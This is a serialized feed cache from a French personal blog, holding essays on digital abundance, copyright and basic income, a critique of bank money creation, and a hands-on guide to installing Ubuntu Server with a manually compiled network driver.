C’est la raison pour laquelle je suis convaincu qu’une partie des échanges doit être hors-marché. Je pense que nous devrions réserver l’économie aux domaines où elle fonctionne, lorsqu’elle améliore la société, c’est-à-dire quand nous devons gérer la rareté. Le reste des échanges – lorsqu’il y a abondance – doit être hors-marché, car sinon l’économie tenterait d’y restaurer une rareté artificielle. Certains réfléchissent aussi à des monnaies d’abondance.

L’arrivée du numérique a de facto rendu tout ce qui est immatériel abondant. La musique est le premier domaine à avoir massivement profité de cette amélioration technologique, suivie par les films, les jeux vidéos, les livres, l’information, etc. Les industries travaillant dans ces domaines d’activité ont toutes un point commun : leurs modèles économiques sont en train de s’effondrer.
Mais ce progrès ne devrait pas s’arrêter à l’immatériel : une seconde vague d’abondance pourrait bien accélérer le processus d’évolution de la société : l’autofabrication à portée de tous (par exemple l’impression 3D) permettra potentiellement à chaque foyer de posséder sa propre usine miniature à faible coût. Beaucoup d’entreprises pourront mettre la clé sous la porte : pourquoi j’irai acheter une chaise dans un magasin si je peux la télécharger et « l’imprimer » chez moi ?
Dans une génération, on sera bien en peine d’expliquer à nos petits-enfants comment on a pu vivre sans son autofabricateur, et qu’on devait commander des biens préfabriqués en ligne et attendre qu’ils nous arrivent dans notre boîte aux lettres livrés par la Poste.
Cette prospérité est inéluctable. Mais surtout, et je voudrais insister là-dessus, elle est souhaitable. Comment en sommes-nous arrivé à croire le contraire ? La question ne devrait pas être de savoir si oui ou non il faut tolérer le partage de fichiers, mais au contraire comment faire pour l’encourager.
L’équilibre entre l’abondance et la rareté évolue. Dans un monde de rareté, l’économie peut fonctionner. Dans un monde d’abondance absolue, l’économie telle que nous la connaissons serait contre-productive, et à la limite il n’y aurait pas besoin d’argent (aurions-nous inventé l’argent si rien n’était rare ?). Mais le problème se pose lorsque le monde est composé à la fois de domaines d’abondance et de rareté : pourquoi les personnes travaillant dans un domaine d’abondance ne pourraient-elles pas gagner d’argent, alors que celles travaillant dans un domaine de rareté le pourraient ?
Quelles sont les solutions envisagées pour le résoudre ? En voici cinq (peut-être y en a-t-il d’autres).
La première, c’est d’imposer par la loi ou par la technique la rareté, pour lutter au maximum contre l’abondance des choses. C’est la solution envisagée par beaucoup de lois actuelles (Hadopi en France), souvent écrites par les lobbies des entreprises qui bénéficient de cette rareté. Sans commentaire.
La deuxième consiste à bénéficier de l’abondance pour atteindre un public plus important. Typiquement, un chanteur rend sa musique accessible à tous, cela contribuera à le faire connaître et lui permettra d’attirer plus de monde à ses concerts. L’idée est séduisante, mais elle ne s’applique pas à tous les domaines (il serait par exemple difficile pour un écrivain d’obtenir des profits indirects). Néanmoins, même si elle est insuffisante, cette solution est naturellement plébiscitée lorsque c’est possible.
La troisième est une contribution forfaitaire, appelée contribution créative (plus connue sous le nom de licence globale), versée mensuellement par chaque internaute. Philippe Aigrain détaille cette proposition dans son livre Internet & Création. Elle possède un atout majeur : autoriser et favoriser les échanges hors-marché.
Néanmoins, j’émets quelques doutes : je la considère comme une solution temporaire. En effet, si le calcul prend en compte les médias (musique, films, livres…), toute forme de création (présente et future) n’est pas concernée, comme par exemple les logiciels libres. Sans parler de la future duplication des objets matériels évoquée plus haut.
De plus, elle ne prend pas en compte l’augmentation de la diversité : plus il y a d’auteurs, moins chaque auteur sera rémunéré.
Enfin, ce mécanisme induit nécessairement une centralisation : chaque auteur devrait adhérer à une gestion collective, et nous devrions mesurer la proportion des échanges pour redistribuer la cagnotte à chacun. Je suis a priori réticent face à une telle centralisation (mais pourquoi pas ?).
Une autre solution est la rémunération par le don. Le principe est simple : chaque œuvre est accessible à tous, ceux qui ont apprécié peuvent rémunérer l’auteur. Ce mécanisme peut sembler bien limité : le montant récolté sera probablement insuffisant, et utilisé seul, l’incertitude de revenu ne favoriserait pas la pratique d’activités non marchandes.
Cependant, ce système de rémunération est intéressant, car il favorise les échanges hors-marché tout en permettant une rétribution de l’auteur, sans centralisation.
Enfin, la solution que je trouve la plus séduisante est le revenu de base, un revenu versé inconditionnellement à chacun et suffisant pour vivre.
Une fois ce revenu garanti, certains ne s’épanouiraient-ils pas dans des domaines moins rémunérateurs, mais davantage bénéfiques pour tout le monde ? D’autant que ce n’est pas l’argent qui nous motive vraiment dans le travail (encore faut-il en avoir suffisamment pour vivre).
Ne croyez-vous pas qu’un frein majeur au développement des logiciels libres (par définition copiables, donc abondants) soit justement la nécessité de gagner de l’argent sur la rareté ? Bien sûr, il est possible d’être rémunéré indirectement, par les services, le support… Mais est-ce suffisant ? Les entreprises sont même parfois contraintes de financer le logiciel libre par le logiciel propriétaire…
Par ailleurs, dans le domaine de l’information où l’indépendance est capitale, ce revenu de base s’ajoutant aux autres sources de financement pourrait contribuer à réduire la dépendance économique des journalistes.
Ce ne sont que quelques arguments en faveur du revenu de base. J’en développe d’autres dans mon billet consacré au dividende universel, et je détaille l’injustice monétaire, un argument central justifiant sa mise en place.
À propos de la monnaie justement, le don est actuellement découragé à cause de la structure centralisée du système monétaire. Je pense qu’une monnaie à dividende universel permettrait de faciliter cette forme de rémunération supplémentaire…
Je suis persuadé que cette proposition est au moins une partie de la solution au problème économique de l’abondance. Je regrette qu’elle soit si peu évoquée dans les débats sur le droit d’auteur.
Je souhaite que le libre partage de la culture, de la connaissance, et plus généralement de tous les biens non-rivaux soit légalisé. Non pas pour quémander un droit qui serait illégitime, mais au contraire parce que je pense que c’est une évolution nécessaire et positive pour la société. En particulier, l’utilisation non-commerciale d’une œuvre devrait être un droit du public non contestable par l’auteur.
Nous ne pouvons accepter le seul argument économique pour justifier de lutter contre l’abondance, alors même que l’économie a pour objectif de résoudre des problèmes de rareté. Nous devons au contraire mettre en place un système qui assure la subsistance de chacun et qui favorise le partage et l’abondance.
";s:7:"dateiso";s:15:"20110608_104237";}s:15:"20110608_084237";a:7:{s:5:"title";s:30:"L'abondance contre l'économie";s:4:"link";s:57:"http://blog.rom1v.com/2011/06/labondance-contre-leconomie";s:4:"guid";s:57:"http://blog.rom1v.com/2011/06/labondance-contre-leconomie";s:7:"pubDate";s:25:"2011-06-08T08:42:37+02:00";s:11:"description";s:0:"";s:7:"content";s:16741:"
Les lois répressives pour défendre le droit d’auteur sont justifiées par une règle que certains jugent incontestable : un auteur a le droit de décider la manière dont son œuvre sera diffusée. S’il ne souhaite pas rendre son œuvre disponible autrement que par les canaux de diffusion qu’il aura choisis, c’est son choix.
Pourtant, un auteur ne peut pas avoir tous les droits, certains droits sont nécessaires pour le public. Par exemple, ce n’est pas parce que c’est son œuvre (laissons ici de côté la part dont il redevable aux créateurs précédents) qu’il peut interdire à la population d’y penser, d’en parler, de la critiquer, etc. Pour quelle raison devrait-il pouvoir interdire son utilisation non-commerciale ?
La réponse qui vient à l’esprit est évidente, c’est le raisonnement de ceux qui sont favorables à l’interdiction du partage : un artiste, comme toute autre personne, a le droit de vivre de son travail. Si tout le monde peut accéder aux œuvres de manière illimitée et gratuite, alors, disent-ils, l’artiste ne pourra plus vendre son travail.
Ceux qui sont favorables à la légalisation du partage de fichiers leur répondront que ceux qui téléchargent le plus sont ceux qui achètent le plus, que de nouveaux modèles économiques sont nécessaires, qu’une meilleure diffusion augmente la notoriété de l’artiste, qui pourra ainsi attirer plus de monde à ses concerts, etc. Mais surtout, bien avant les arguments économiques, ils défendent ce qu’ils jugent meilleur pour la société.
En effet, pour la société, la culture a tout à gagner à être abondante et accessible à tous. Le problème est que sa “valeur marchande” diminue lorsque son abondance augmente. La dématérialisation permet la surabondance : tout le monde peut partager et copier indéfiniment et gratuitement. Nous ne pouvons pas rêver mieux si nous défendons l’abondance.
Par contre, si nous nous concentrons sur la valeur marchande, nous en concluons que l’abondance ruine la culture, car alors il n’est pas possible de la faire payer. Ainsi nous nous lançons dans une guerre contre le partage pour restaurer une rareté propice à satisfaire une demande solvable, au nom des intérêts supposés des auteurs (et surtout des ayant-droits).
Il semble donc y avoir une opposition directe entre l’intérêt des auteurs et celui de la société. Si nous devions choisir entre les deux, nous pourrions nous inspirer de la pensée de Victor Hugo :
Le livre, comme livre, appartient à l’auteur, mais comme pensée, il appartient – le mot n’est pas trop vaste – au genre humain. Toutes les intelligences y ont droit. Si l’un des deux droits, le droit de l’écrivain et le droit de l’esprit humain, devait être sacrifié, ce serait, certes, le droit de l’écrivain, car l’intérêt public est notre préoccupation unique, et tous, je le déclare, doivent passer avant nous.
Mais ces intérêts sont-ils réellement en conflit ? Et pourquoi ?
La diffusion sans restriction de la culture et de la connaissance est sans conteste bénéfique pour la société. Mais est-elle bénéfique pour les auteurs ? Sans aucun doute : rendre accessible à davantage de personnes leurs œuvres sans aucun coût ni travail supplémentaire leur est profitable. La seule condition pour eux est d’obtenir les moyens de leur subsistance (ce que de toute façon, pour la plupart, les droits d’auteur ne leur permettent pas dans le système actuel).
Nous sommes donc dans une situation très étonnante : le partage et la diffusion illimitée sont dans l’intérêt à la fois des auteurs et du public, mais les échanges sont volontairement restreints (par la loi) à cause d’un problème économique. C’est donc l’économie qui empêche des échanges, que rien ne limiterait par ailleurs. N’y voyez-vous pas un paradoxe ?
L’économie a pour objectif de résoudre les problèmes de rareté auxquels la société doit faire face. Pour cela, elle valorise ce qui est rare – c’est-à-dire un produit ou un service dont la demande est supérieure à l’offre – pour inciter les entreprises à mettre en œuvre des moyens de production répondant à ce besoin. A priori, c’est un mécanisme pertinent : les besoins de la population sont ainsi satisfaits au mieux, en privilégiant la production de ce qui est insuffisant.
Mais que se passe-t-il lorsque les problèmes de rareté sont résolus dans un domaine ? Tant mieux, pensons-nous, le but de l’économie est atteint, nous avons réussi. Nous pouvons alors augmenter la liberté de la population en réduisant leur dépendance vis-à-vis d’intermédiaires devenus inutiles, en rendant les moyens de production et de reproduction accessibles à tous. Mais paradoxalement, comme l’objectif est atteint, nous ne pouvons plus gagner d’argent. C’est simple : une demande limitée, une offre illimitée et un coût marginal nul impliquent un prix nul.
Comment faire fonctionner l’économie dans ce cas ? La demande est limitée, nous pouvons tenter de l’augmenter (éventuellement grâce à l’obsolescence programmée). Mais surtout nous devons empêcher que l’offre soit illimitée, en enlevant (par la loi ou par la technique) les moyens de (re)production des mains de la population, pour rendre le coût marginal non nul (obliger à faire payer chaque instance du produit en passant par un intermédiaire forcé). Il faut alors restreindre pour faire du bénéfice (cette règle est aussi valable pour le réseau Internet lui-même).
Pour gagner de l’argent, il nous faut donc lutter contre notre objectif : l’abondance. Et vu qu’il faut gagner de l’argent pour vivre, il est vital d’aller à l’encontre de ce qui est bénéfique pour la société. N’est-ce pas absurde ?
C’est la raison pour laquelle je suis convaincu qu’une partie des échanges doit être hors-marché. Je pense que nous devrions réserver l’économie aux domaines où elle fonctionne, lorsqu’elle améliore la société, c’est-à-dire quand nous devons gérer la rareté. Le reste des échanges – lorsqu’il y a abondance – doit être hors-marché, car sinon l’économie tenterait d’y restaurer une rareté artificielle. Certains réfléchissent aussi à des monnaies d’abondance.
L’arrivée du numérique a de facto rendu tout ce qui est immatériel abondant. La musique est le premier domaine à avoir massivement profité de cette amélioration technologique, suivie par les films, les jeux vidéos, les livres, l’information, etc. Les industries travaillant dans ces domaines d’activité ont toutes un point commun : leurs modèles économiques sont en train de s’effondrer.
Mais ce progrès ne devrait pas s’arrêter à l’immatériel : une seconde vague d’abondance pourrait bien accélérer le processus d’évolution de la société : l’autofabrication à portée de tous (par exemple l’impression 3D) permettra potentiellement à chaque foyer de posséder sa propre usine miniature à faible coût. Beaucoup d’entreprises pourront mettre la clé sous la porte : pourquoi j’irai acheter une chaise dans un magasin si je peux la télécharger et “l’imprimer” chez moi ?
Dans une génération, on sera bien en peine d’expliquer à nos petits-enfants comment on a pu vivre sans son autofabricateur, et qu’on devait commander des biens préfabriqués en ligne et attendre qu’ils nous arrivent dans notre boîte aux lettres livrés par la Poste.
Cette prospérité est inéluctable. Mais surtout, et je voudrais insister là-dessus, elle est souhaitable. Comment en sommes-nous arrivé à croire le contraire ? La question ne devrait pas être de savoir si oui ou non il faut tolérer le partage de fichiers, mais au contraire comment faire pour l’encourager.
L’équilibre entre l’abondance et la rareté évolue. Dans un monde de rareté, l’économie peut fonctionner. Dans un monde d’abondance absolue, l’économie telle que nous la connaissons serait contre-productive, et à la limite il n’y aurait pas besoin d’argent (aurions-nous inventé l’argent si rien n’était rare ?). Mais le problème se pose lorsque le monde est composé à la fois de domaines d’abondance et de rareté : pourquoi les personnes travaillant dans un domaine d’abondance ne pourraient-elles pas gagner d’argent, alors que celles travaillant dans un domaine de rareté le pourraient ?
Quelles sont les solutions envisagées pour le résoudre ? En voici cinq (peut-être y en a-t-il d’autres).
La première, c’est d’imposer par la loi ou par la technique la rareté, pour lutter au maximum contre l’abondance des choses. C’est la solution envisagée par beaucoup de lois actuelles (Hadopi en France), souvent écrites par les lobbies des entreprises qui bénéficient de cette rareté. Sans commentaire.
La deuxième consiste à bénéficier de l’abondance pour atteindre un public plus important. Typiquement, un chanteur rend sa musique accessible à tous, cela contribuera à le faire connaître et lui permettra d’attirer plus de monde à ses concerts. L’idée est séduisante, mais elle ne s’applique pas à tous les domaines (il serait par exemple difficile pour un écrivain d’obtenir des profits indirects). Néanmoins, même si elle est insuffisante, cette solution est naturellement plébiscitée lorsque c’est possible.
La troisième est une contribution forfaitaire, appelée contribution créative (plus connue sous le nom de licence globale), versée mensuellement par chaque internaute. Philippe Aigrain détaille cette proposition dans son livre Internet & Création. Elle possède un atout majeur : autoriser et favoriser les échanges hors-marché.
Néanmoins, j’émets quelques doutes : je la considère comme une solution temporaire. En effet, si le calcul prend en compte les médias (musique, films, livres…), toute forme de création (présente et future) n’est pas concernée, comme par exemple les logiciels libres. Sans parler de la future duplication des objets matériels évoquée plus haut.
De plus, elle ne prend pas en compte l’augmentation de la diversité : plus il y a d’auteurs, moins chaque auteur sera rémunéré.
Enfin, ce mécanisme induit nécessairement une centralisation : chaque auteur devrait adhérer à une gestion collective, et nous devrions mesurer la proportion des échanges pour redistribuer la cagnotte à chacun. Je suis a priori réticent face à une telle centralisation (mais pourquoi pas ?).
Une autre solution est la rémunération par le don. Le principe est simple : chaque œuvre est accessible à tous, ceux qui ont apprécié peuvent rémunérer l’auteur. Ce mécanisme peut sembler bien limité : le montant récolté sera probablement insuffisant, et utilisé seul, l’incertitude de revenu ne favoriserait pas la pratique d’activités non marchandes.
Cependant, ce système de rémunération est intéressant, car il favorise les échanges hors-marché tout en permettant une rétribution de l’auteur, sans centralisation.
Enfin, la solution que je trouve la plus séduisante est le revenu de base, un revenu versé inconditionnellement à chacun et suffisant pour vivre.
Une fois ce revenu garanti, certains ne s’épanouiraient-ils pas dans des domaines moins rémunérateurs, mais davantage bénéfiques pour tout le monde ? D’autant que ce n’est pas l’argent qui nous motive vraiment dans le travail (encore faut-il en avoir suffisamment pour vivre).
Ne croyez-vous pas qu’un frein majeur au développement des logiciels libres (par définition copiables, donc abondants) soit justement la nécessité de gagner de l’argent sur la rareté ? Bien sûr, il est possible d’être rémunéré indirectement, par les services, le support… Mais est-ce suffisant ? Les entreprises sont même parfois contraintes de financer le logiciel libre par le logiciel propriétaire…
Par ailleurs, dans le domaine de l’information où l’indépendance est capitale, ce revenu de base s’ajoutant aux autres sources de financement pourrait contribuer à réduire la dépendance économique des journalistes.
Ce ne sont que quelques arguments en faveur du revenu de base. J’en développe d’autres dans mon billet consacré au dividende universel, et je détaille l’injustice monétaire, un argument central justifiant sa mise en place.
À propos de la monnaie justement, le don est actuellement découragé à cause de la structure centralisée du système monétaire. Je pense qu’une monnaie à dividende universel permettrait de faciliter cette forme de rémunération supplémentaire…
Je suis persuadé que cette proposition est au moins une partie de la solution au problème économique de l’abondance. Je regrette qu’elle soit si peu évoquée dans les débats sur le droit d’auteur.
Je souhaite que le libre partage de la culture, de la connaissance, et plus généralement de tous les biens non-rivaux soit légalisé. Non pas pour quémander un droit qui serait illégitime, mais au contraire parce que je pense que c’est une évolution nécessaire et positive pour la société. En particulier, l’utilisation non-commerciale d’une œuvre devrait être un droit du public non contestable par l’auteur.
Nous ne pouvons accepter le seul argument économique pour justifier de lutter contre l’abondance, alors même que l’économie a pour objectif de résoudre des problèmes de rareté. Nous devons au contraire mettre en place un système qui assure la subsistance de chacun et qui favorise le partage et l’abondance.
";s:7:"dateiso";s:15:"20110608_084237";}s:15:"20110607_002148";a:7:{s:5:"title";s:43:"Installer Ubuntu Server sur un Shuttle XS35";s:4:"link";s:74:"http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2384";s:7:"pubDate";s:31:"Mon, 06 Jun 2011 22:21:48 +0000";s:11:"description";s:419:"Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu. Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents : Aucune interface réseau n’a été détectée C’est le genre de problèmes qu’on espère un jour [...]";s:7:"content";s:4368:"Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu.
Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents :
Aucune interface réseau n’a été détectée
C’est le genre de problèmes qu’on espère un jour ne plus connaître lorsqu’on installe une distribution… Surtout lorsque ce problème en provoque d’autres… Ceci est donc un aide-mémoire qui me sera utile pour une future installation.
Tout d’abord, il faut ignorer le message d’erreur, tant pis, l’installation sera effectuée sans réseau.
Ensuite la section Choisir et installer des logiciels, il ne faut surtout pas activer Mail (postfix et dovecot) dans la liste : cela ferait planter le processus d’installation car il ne trouve pas d’interface réseau. En effet, dans /var/log/syslog, on trouve une erreur du genre :
postfix/sendmail: fatal: could not find any active network interfaces
On installera donc le serveur mail plus tard.
En suivant ces conseils, l’installation doit se dérouler correctement.
À partir d’un autre ordinateur, récupérer la dernière version des sources du pilote (j’en fait une copie chez moi, au cas où).
Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter sudo make install. Sauf que make n’est pas installé par défaut sur Ubuntu Server (merci Ubuntu !), et pour l’installer, il faut le réseau… qu’on aura une fois qu’on aura installé les pilotes…
Heureusement, on peut s’en sortir manuellement. Pour cela, sur un ordinateur qui possède make (avec le même noyau pour la même architecture), extraire les sources de l’archive dans un répertoire et exécuter :
tar xvjf jme-1.0.7.1.tbz2 cd jmebp-1.0.7.1 make
Cela crée un fichier jme.ko (je suis gentil, je vous donne le fichier déjà compilé pour le noyau 2.6.38-8-server en amd64). Le copier sur une clé USB.
Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme /dev/sdX1). Pour cela, (une technique parmi d’autres) juste après l’avoir branchée, exécuter :
tail /var/log/syslog
La commande doit afficher plusieurs lignes ressemblant à ceci :
Jun 6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk
Ici, l’emplacement est donc /dev/sdb1.
Monter donc la clé :
sudo mount /dev/sdb1 /mnt
Puis installer le pilote compilé au bon endroit et l’activer :
sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net sudo modprobe jme
Ajouter à la fin de /etc/network/interfaces :
auto eth0 iface eth0 inet dhcp
Et rebooter :
sudo reboot
Normalement, la carte devrait être détectée (on peut tester avec ifconfig).
Si tout est OK, on peut maintenant installer le serveur mail.
";s:7:"dateiso";s:15:"20110607_002148";}s:15:"20110606_222148";a:7:{s:5:"title";s:43:"Installer Ubuntu Server sur un Shuttle XS35";s:4:"link";s:73:"http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35";s:4:"guid";s:73:"http://blog.rom1v.com/2011/06/installer-ubuntu-server-sur-un-shuttle-xs35";s:7:"pubDate";s:25:"2011-06-06T22:21:48+02:00";s:11:"description";s:0:"";s:7:"content";s:4223:"
Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu.
Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents :
Aucune interface réseau n'a été détectée
C’est le genre de problèmes qu’on espère un jour ne plus connaître lorsqu’on installe une distribution… Surtout lorsque ce problème en provoque d’autres… Ceci est donc un aide-mémoire qui me sera utile pour une future installation.
Tout d’abord, il faut ignorer le message d’erreur, tant pis, l’installation sera effectuée sans réseau.
Ensuite la section Choisir et installer des logiciels, il ne faut surtout pas
activer Mail (postfix et dovecot) dans la liste : cela ferait planter le
processus d’installation car il ne trouve pas d’interface réseau. En effet, dans
/var/log/syslog, on trouve une erreur du genre :
postfix/sendmail: fatal: could not find any active network interfaces
On installera donc le serveur mail plus tard.
En suivant ces conseils, l’installation doit se dérouler correctement.
À partir d’un autre ordinateur, récupérer la dernière version des sources du pilote (j’en fait une copie chez moi, au cas où).
Ensuite, on est un peu embêté, car on devrait extraire les sources sur le
serveur et exécuter sudo make install. Sauf que make n’est pas installé par
défaut sur Ubuntu Server (merci Ubuntu !), et pour l’installer, il faut le
réseau… qu’on aura une fois qu’on aura installé les pilotes…
Heureusement, on peut s’en sortir manuellement. Pour cela, sur un ordinateur qui
possède make (avec le même noyau pour la même architecture), extraire les
sources de l’archive dans un répertoire et exécuter :
tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make
Cela crée un fichier jme.ko (je suis gentil, je vous donne le
fichier déjà compilé pour le noyau 2.6.38-8-server en amd64). Le copier sur
une clé USB.
Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous
la forme /dev/sdX1). Pour cela, (une technique parmi d’autres) juste après
l’avoir branchée, exécuter :
tail /var/log/syslog
La commande doit afficher plusieurs lignes ressemblant à ceci :
Jun 6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk
Ici, l’emplacement est donc /dev/sdb1.
Monter la clé :
sudo mount /dev/sdb1 /mnt
Puis installer le pilote compilé au bon endroit et l’activer :
sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme
Ajouter à la fin de /etc/network/interfaces :
auto eth0
iface eth0 inet dhcp
Et rebooter :
sudo reboot
Normalement, la carte devrait être détectée (on peut tester avec ifconfig).
Si tout est OK, on peut maintenant installer le serveur mail.
";s:7:"dateiso";s:15:"20110606_222148";}s:15:"20110510_222845";a:7:{s:5:"title";s:24:"L’injustice monétaire";s:4:"link";s:51:"http://blog.rom1v.com/2011/05/linjustice-monetaire/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2298";s:7:"pubDate";s:31:"Tue, 10 May 2011 20:28:45 +0000";s:11:"description";s:425:"Dans un récent billet, je défendais l’idée d’un dividende universel. Je voudrais maintenant m’attarder sur le problème central à l’origine de cette proposition : le mécanisme actuel de la création monétaire. L’argent e(s)t la dette On parle beaucoup d’une de ses conséquences (surtout en ce moment) : la dette publique. Si nous n’avons aucune idée de son [...]";s:7:"content";s:12660:"Dans un récent billet, je défendais l’idée d’un dividende universel. Je voudrais maintenant m’attarder sur le problème central à l’origine de cette proposition : le mécanisme actuel de la création monétaire.
On parle beaucoup d’une de ses conséquences (surtout en ce moment) : la dette publique.
Si nous n’avons aucune idée de son fonctionnement, nous pouvons penser que nous dépensons trop, et qu’il serait bon de songer à rembourser cette fichue dette. Sans explications, devant le compteur de la dette nationale défilant à toute allure en bas d’un écran de télévision pendant un JT, les téléspectateurs croient sans doute qu’une politique de rigueur est nécessaire, car après tout, il est bien naturel rembourser ses dettes. Quelle arnaque ! Si nous remboursions nos dettes, il n’y aurait plus d’argent : l’argent provient de la dette. Au seul bénéfice des banques.
Posez-vous la question : comment est-il possible que nous soyons tous (les ménages, les entreprises, les États) endettés en même temps (certains jusqu’à la « faillite »), alors que nous créons toujours plus de richesses ? Envers qui sommes-nous tous endettés, et pourquoi ?
Voyons comment tout cela fonctionne.
Pour plus de détails et de sources, suivez les nombreux liens en commentaires.
Ou ce billet : Comprendre le mystère de l’argent et le problème des intérêts manquants.
Lorsqu’une banque accorde un crédit à un client (par exemple pour acheter une maison), elle ne lui prête pas l’argent qu’elle a : elle le crée (par une opération comptable). Le client va ensuite lui rembourser, sur plusieurs années, grâce à sa dure labeur, l’argent qu’elle lui a « prêté », avec des intérêts. Au fur et à mesure du remboursement du principal, l’argent est « détruit » (de la même manière qu’il a été « créé », c’est la raison pour laquelle il n’y aurait plus d’argent si nous remboursions nos dettes), mais il reste les intérêts, qui eux, sont au seul profit de la banque (qui sont des intérêts sur de l’argent qu’elle n’avait pas !). Il n’est d’ailleurs possible de lui payer qu’en récupérant, grâce à son travail, l’argent issu d’autres prêts effectués (indirectement), puisque (presque) tout l’argent vient de la dette. Déjà, l’injustice est flagrante : une banque privée crée de l’argent à son profit à partir du travail des autres, sans rien faire (à part manipuler une base de données).
Mais ce n’est pas tout, en créant de l’argent, la banque augmente la masse monétaire, donc dévalue la monnaie déjà en circulation. L’important, ce n’est pas la valeur que l’on possède en €, c’est la part que cette valeur par rapport à tout l’argent en circulation. Ainsi, augmenter la masse monétaire à son seul profit équivaut à « voler » une (toute petite) part de l’argent que possède chacun. La population, qui ne profite pas de cette création monétaire, doit donc travailler toujours plus pour « récupérer » cet argent et payer des intérêts toujours plus importants à ceux qui le leur prend.
Et globalement, cela pose un problème de remboursement : le total prêté à tous vaut P (le principal), et il faudra rembourser P+I (avec les intérêts). Sauf que lorsque tout l’argent provient du crédit, l’argent des intérêts n’existe pas, il serait impossible de les rembourser maintenant. Ce qui le permet, c’est simplement le décalage dans le temps du remboursement, rendu possible grâce à la croissance (c’est-à-dire lorsqu’il y a plus de nouveaux prêts effectués pour rembourser les anciens). Sans croissance ce système inique s’écroule. Il faut donc une production toujours plus importante uniquement pour « rembourser » (en fait, « donner » serait plus juste) les richesses créées aux banquiers. Ainsi, ceux qui créent les richesses sont endettés envers ceux qui créent l’argent.
Beaucoup s’étonnent des inégalités qui augmentent, et s’en prennent soit aux patrons, soit aux « assistés ». Mais la cause des inégalités, c’est le mécanisme de création monétaire. Il faut que la création monétaire soit distribuée à chacun.
Depuis la réforme de 1973 (loi Rothschild) et son article 25, la France a l’interdiction d’emprunter son argent directement auprès de la banque centrale, sans intérêts. Elle doit donc l’emprunter, avec intérêts, aux banques privées, qui elles, ont le droit de « créer l’argent ».
En 1992, cette règle est inscrite au niveau européen dans l’article 104 du traité de Maastricht (qui est repris par l’article 123 du traité de Lisbonne en 2007) :
Article 104 :
1. Il est interdit à la BCE et aux banques centrales des États membres, ci-après dénommées « banques centrales nationales », d’accorder des découverts ou tout autre type de crédit aux institutions ou organes de la Communauté, aux administrations centrales, aux autorités régionales ou locales, aux autres autorités publiques, aux autres organismes ou entreprises publics des États membres; l’acquisition directe, auprès d’eux, par la BCE ou les banques centrales nationales, des instruments de leur dette est également interdite.
2. Le paragraphe 1 ne s’applique pas aux établissements publics de crédit qui, dans le cadre de la mise à disposition de liquidités par les banques centrales, bénéficient, de la part des banques centrales nationales et de la BCE, du même traitement que les établissements privés de crédit.
Voilà d’où vient la dette qui augmente inexorablement : l’État est obligé d’emprunter son propre argent avec intérêts auprès d’acteurs privés.
Constatez l’évolution de la dette publique avec et sans intérêts depuis 1979 (source) :

Des réformes sont prévues pour lutter contre les déficits, sans remettre en cause ce système inique.
En France, la réforme constitutionnelle contre les déficits a pour but de parvenir à l’équilibre budgétaire (heureusement, elle ne devrait pas passer, l’UMP ne devrait pas réunir une majorité de 3/5e). Cela paraît pourtant presque naturel de ne pas dépenser plus que ce que nous avons. Mais à la lumière de l’injustice de la création monétaire, nous pouvons sans peine imaginer les impacts pour les finances de l’État et de la Sécurité sociale si le principe d’équilibre budgétaire avait une valeur constitutionnelle.
Au niveau européen, le « Pacte pour l’Euro » annonce une grande braderie sur les droits sociaux.
Je profite de ce billet pour vous livrer quelques commentaires sur le revenu de base et son financement.
Le revenu de base désigne le versement d’un revenu inconditionnel à chaque citoyen pour satisfaire ses besoins primaires.
Ce concept peut paraître étrange, selon la manière dont on le présente. J’ai l’impression que, face à quelqu’un qui n’en a jamais entendu parler, si je dis :
Je suis favorable à un revenu de base, un revenu versé tous les mois permettant de vivre sans emploi rémunéré.
l’idée sera difficilement acceptée, tellement elle semble illogique lorsque nous avons intégré la fameuse « valeur travail » (ou plutôt « valeur emploi ») : pourquoi gagnerait-on de l’argent sans travailler ?
Par contre, si je dis :
Lorsqu’on augmente la masse monétaire (« on crée de l’argent »), comment cela doit-il se passer : on donne tout cet argent créé à quelques acteurs privés et rien aux autres, qui devront le gagner et l’emprunter avec intérêts à ceux qui en bénéficient, ou alors on distribue cette augmentation à tout le monde équitablement ?
je pense que la personne prendra plus facilement conscience qu’un revenu non-issu du travail est naturel, que ce n’est pas une aumône (demander de l’argent sans rien faire simplement parce qu’on en a envie), mais un dû, dont actuellement nous sommes privés injustement.
Je suis très étonné que certains proposent un financement du revenu de base sans remettre en cause la création monétaire privée.
J’ai peut-être manqué quelque chose, mais je trouve absurde d’uniquement redistribuer les richesses au sein de la population, si nous laissons en place l’énorme redistribution de toute la population vers les banques. Je ne dis pas que le dividende universel suffirait à financer un revenu de base (je n’en sais rien), mais financer un revenu de base sans dividende universel me paraît aberrant.
J’aime beaucoup l’analogie d’Étienne Chouard (vers 8mn30) :
C’est comme si on avait une inondation, un robinet qui coule à fond, il y a de l’eau partout. On est tous là avec des serpillères à éponger, et personne ne ferme le robinet.
Le système monétaire actuel est injuste. Il explique à mon avis une grande partie des problèmes de société (dette publique, inégalités, précarité, retraites…), et les personnalités politiques se disputent entre eux sur certaines conséquences sans jamais s’attaquer à la cause.
Je pense que les choix politiques sont trop importants pour être confiés à des politiciens.
